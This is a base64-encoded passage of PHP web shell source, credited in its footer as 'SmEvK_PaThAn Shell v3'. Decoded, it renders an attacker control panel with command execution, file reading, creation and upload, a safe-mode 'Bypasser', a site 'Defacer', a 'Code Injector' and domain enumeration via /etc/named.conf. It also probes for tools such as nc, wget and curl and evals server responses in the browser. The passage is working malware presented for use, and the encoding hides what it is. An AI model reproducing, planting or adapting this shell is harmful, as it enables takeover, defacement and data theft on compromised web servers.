ICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFqYXg9dHJ1ZSI7CiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOwogICAgICAgICAgICBzcigiJy4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4nIiwgcGFyYW1zKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgICAgCiAgICAgICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsKICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKICAgICAgICAgICAgICAgIGlmIChyZXEpIHsKICAgICAgICAgICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewogICAgICAgICAgICBpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkKICAgICAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICAgICAgLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICB2YXIgcmVnID0gbmV3IFJlZ0V4cCgiKFxcZCspKFtcXFNcXHNdKikiLCAibSIpOwogICAgICAgICAgICAgICAgICAgIHZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOwogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGVsc2UgYWxlcnQoIlJlcXVlc3QgZXJyb3IhIik7CiAgICAgICAgfQogICAgPC9zY3JpcHQ+CiAgICA8aGVhZD48bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9QXVkaW93aWRlIiA+PC9oZWFkPjxib2R5PjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7dG9wOjA7bGVmdDowOyI+PGRpdiBzdHlsZT0ibWFyZ2luOjVweDtiYWNrZ3JvdW5kOmJsYWNrOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgJy4kVGhlbWUuJzsgYm9yZGVyLXJhZGl1czo1cHg7Ij4KICAgIDxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnYSddKT8kX1BPU1RbJ2EnXTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMiddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgIDwvZm9ybT4nOwogICAgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7CiAgICAkZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOwogICAgfQogICAgJGN3ZF9saW5rcyA9ICcnOwogICAgJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKICAgICRuPWNvdW50KCRwYXRoKTsKICAgIGZvcigkaT0wOyRpPCRuLTE7JGkrKykgewogICAgICAgICRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKICAgICAgICBmb3IoJGo9MDskajw9JGk7JGorKykKICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwogICAgICAgICRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKICAgIH0KICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOwogICAgJG9wdF9jaGFyc2V0cyA9ICcnOwogICAgZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOwogICAgJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ0J5cGFzc2VyJz0+J1NhZmVNb2RlJywnU2FmZSBNb2RlJz0+J0J5cGFzcycsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0ltcG9ydCBTY3JpcHRzJz0+J0ltcG9ydFNjcmlwdHMnLCdOZXR3b3JrJz0+J05ldHdvcmsnLCdSZWFkYWJsZSBEaXJzJz0+J1JlYWRhYmxlJywnRGVmYWNlcicgPT4gJ0RlZmFjZScsJ0NvZGUgSW5qZWN0b3InPT4nSW5qZWN0b3InLCdEb21haW5zJyA9PiAnRG9tYWluJyk7CiAgICBpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkKICAgICAgICAkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsKICAgICRtZW51ID0gJyc7CiAgICBmb3JlYWNoKCRtIGFzICRrID0+ICR2KQogICAgICAgICRtZW51IC49ICc8dGg+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+PC90aD4nOwogICAgJGRyaXZlcyA9ICIiOwogICAgaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7CiAgICAgICAgZm9yZWFjaCggcmFuZ2UoJ2EnLCd6JykgYXMgJGRyaXZlICl7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGRyaXZlLic6XFwnKSkKICAgICAgICAgICAgICAgICRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsKICAgICAgICB9CiAgICAgICAgJGRyaXZlcyAuPSAnPGJyIC8+OiAnOwogICAgfQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsKICAgICAgICAkZG9taW5pb3MgPSBAZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOwogICAgICAgIGlmKCEkZG9taW5pb3MpIHsKICAgICAgICAgICAgJERvbWFpblMgPSAiL3Zhci9uYW1lZCI7CiAgICAgICAgICAgICREb21haW5vbnNlcnZlciA9IHNjYW5kaXIoJERvbWFpblMpOwogICAgICAgICAgICAkZDBjID0gY291bnQoJERvbWFpbm9uc2VydmVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBAcHJlZ19tYXRjaF9hbGwoJy8uKj96b25lICIoLio/KSIgey8nLCAkZG9taW5pb3MsICRvdXQpOwogICAgICAgICAgICAkb3V0ID0gc2l6ZW9mKGFycmF5X3VuaXF1ZSgkb3V0WzFdKSk7CiAgICAgICAgICAgICRkMGMgPSAkb3V0LiIgIERvbWFpbnMiOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJGQwYyA9ICJOb3RoaW5nIGhlcmUgYnJvOigiOwogICAgfQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKQogICAgewogICAgICAgICR1c2VmbCA9ICcnOyAkZHdubGRyID0gJyc7CiAgICAgICAgaWYoIUBpbmlfZ2V0KCdzYWZlX21vZGUnKSkgewogICAgICAgICAgICAkdGVtcCA9IGFycmF5KCk7CiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICAgICBmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKSB7IGlmKHdoaWNoKCRpdGVtKSkgJHRlbXBbXT0gJGl0ZW07IH0KICAgICAgICAgICAgJHVzZWZsID0gaW1wbG9kZSgnLCAnLCR0ZW1wKTsKICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOwogICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKICAgICAgICAgICAgZm9yZWFjaCgkZG93bmxvYWRlcnMgYXMgJGl0ZW0yKSB7IGlmKHdoaWNoKCRpdGVtMikpICR0ZW1wW109ICRpdGVtMjsgfQogICAgICAgICAgICAkZHdubGRyID0gaW1wbG9kZSgnLCAnLCR0ZW1wKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogICAgICAgIH0KICAgIH0gZWxzZSB7IAogICAgICAgICR1c2VmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7CiAgICB9IAogICAgZWNobyAnPGRpdiBjbGFzcz0ic21ldmtsb2dvIj48dGFibGUgY2xhc3M9ImluZm8iIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPjx0cj4KICAgICAgICAgIDx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiBjbGFzcz0ibnBvYWQiPjx0cj48dGQgd2lkdGg9IjgwcHg7Ij48c3Bhbj5VbmFtZTwvc3Bhbj48L3RkPjx0ZD46IDxub2JyPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC9ub2JyPjwvdGQ+PC90cj4KICAgICAgICAgIDx0cj48dGQ+PHNwYW4+VXNlcjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5Vc2VmdWw8L3NwYW4+PC90ZD48dGQ+OiAnLiR1c2VmbC4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+RG93bmxvYWRlcnM8L3NwYW4+PC90ZD48dGQ+OiAnLiRkd25sZHIuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkQvZnVuY3Rpb25zPC9zcGFuPjwvdGQ+PHRkPjogJy4oJGRpc2FibGVfZnVuY3Rpb25zPyRkaXNhYmxlX2Z1bmN0aW9uczonQWxsIEZ1bmN0aW9uIEVuYWJsZScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj4nLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nRHJpdmVzPGJyIC8+Q3dkJzonQ3dkJykuJzwvc3Bhbj48L3RkPjx0ZD46ICcuJGRyaXZlcy4nJy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48L3RkPjwvdHI+PC90YWJsZT48L3RkPicuCiAgICAgICAgICc8dGQgd2lkdGg9ND48bm9icj48c3Bhbj5TdiBJUDwvc3Bhbj48YnI+PHNwYW4+WW91ciBJUDwvc3Bhbj48YnIgLz48c3Bhbj5IREQ8L3NwYW4+PGJyIC8+PHNwYW4+RnJlZTwvc3Bhbj48YnIgLz48c3Bhbj5QSFA8L3NwYW4+PGJyIC8+PHNwYW4+U2FmZSBNb2RlPC9zcGFuPjxiciAvPjxzcGFuPkRvbWFpbnM8L3NwYW4+PC9ub2JyPjwvdGQ+Jy4KICAgICAgICAgJzx0ZD48bm9icj46ICcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+OiAnLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8YnIgLz46ICcudmlld1NpemUoJHRvdGFsU3BhY2UpLic8YnIgLz46ICcudmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJyPjogJy5AcGhwdmVyc2lvbigpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT48YnIgLz46ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPScuJGNvbG9yLic8Yj5PRkY8L2I+PC9mb250PicpLic8YnIgLz46ICcuJGQwYy4nPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PicuCiAgICAgICAgICc8L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NTtiYWNrZ3JvdW5kOmJsYWNrOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkIDQzMDMwMztwYWRkaW5nOjJweDsiPjx0YWJsZSBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIiBjbGFzcz0ibWVudSI+PHRyPicuJG1lbnUuJzwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NTtiYWNrZ3JvdW5kOmJsYWNrOyI+JzsKfQoKZnVuY3Rpb24gcHJpbnRGb290ZXIoKSB7CiAgICAkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyI8Zm9udCBjb2xvcj1ncmVlbj5bIFdyaXRlYWJsZSBdPC9mb250PiI6Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiI7CgplY2hvICc8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6YmxhY2s7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nOyBib3JkZXItcmFkaXVzOjVweDsiPgo8dGFibGUgY2xhc3M9ImluZm8iIGlkPSJ0b29sc1RibCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc01hblwnLG51bGwsXCdta2RpclwnLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUsXCdta2ZpbGVcJyk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0NvbnNvbGVcJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IiI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iRmlsZXNNQW4iPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSJ1cGxvYWRGaWxlIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgIDxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICA8L3RyPgo8L3RhYmxlPjwvZGl2PjwvZGl2Pgo8ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6YmxhY2s7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyOjJweCBzb2xpZCAnLiRUaGVtZS4nO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7IGJvcmRlci1yYWRpdXM6MTBweDttYXJnaW46YXV0bzsgd2lkdGg6NTAwOyI+U21FdktfUGFUaEFuIFNoZWxsIHYzIGNvZGVkIGJ5IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9zbWV2a3BhdGhhbiI+IEthc2hpZiBLaGFuPC9hPjwvZGl2PjwvZGl2Pgo8L2Rpdj4KPC9ib2R5PjwvaHRtbD4nOwp9CgppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KCgpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CiAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOwogICAgZWxzZWlmKCRzID49IDEwMjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJHMgLiAnIEInOwp9CgpmdW5jdGlvbiBwZXJtcygkcCkgewogICAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsKICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwogICAgZWxzZSAkaSA9ICd1JzsKICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaTsKfQoKZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CiAgICBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMwMEJCMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7CiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVuYW1lOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CgpmdW5jdGlvbiBhY3Rpb25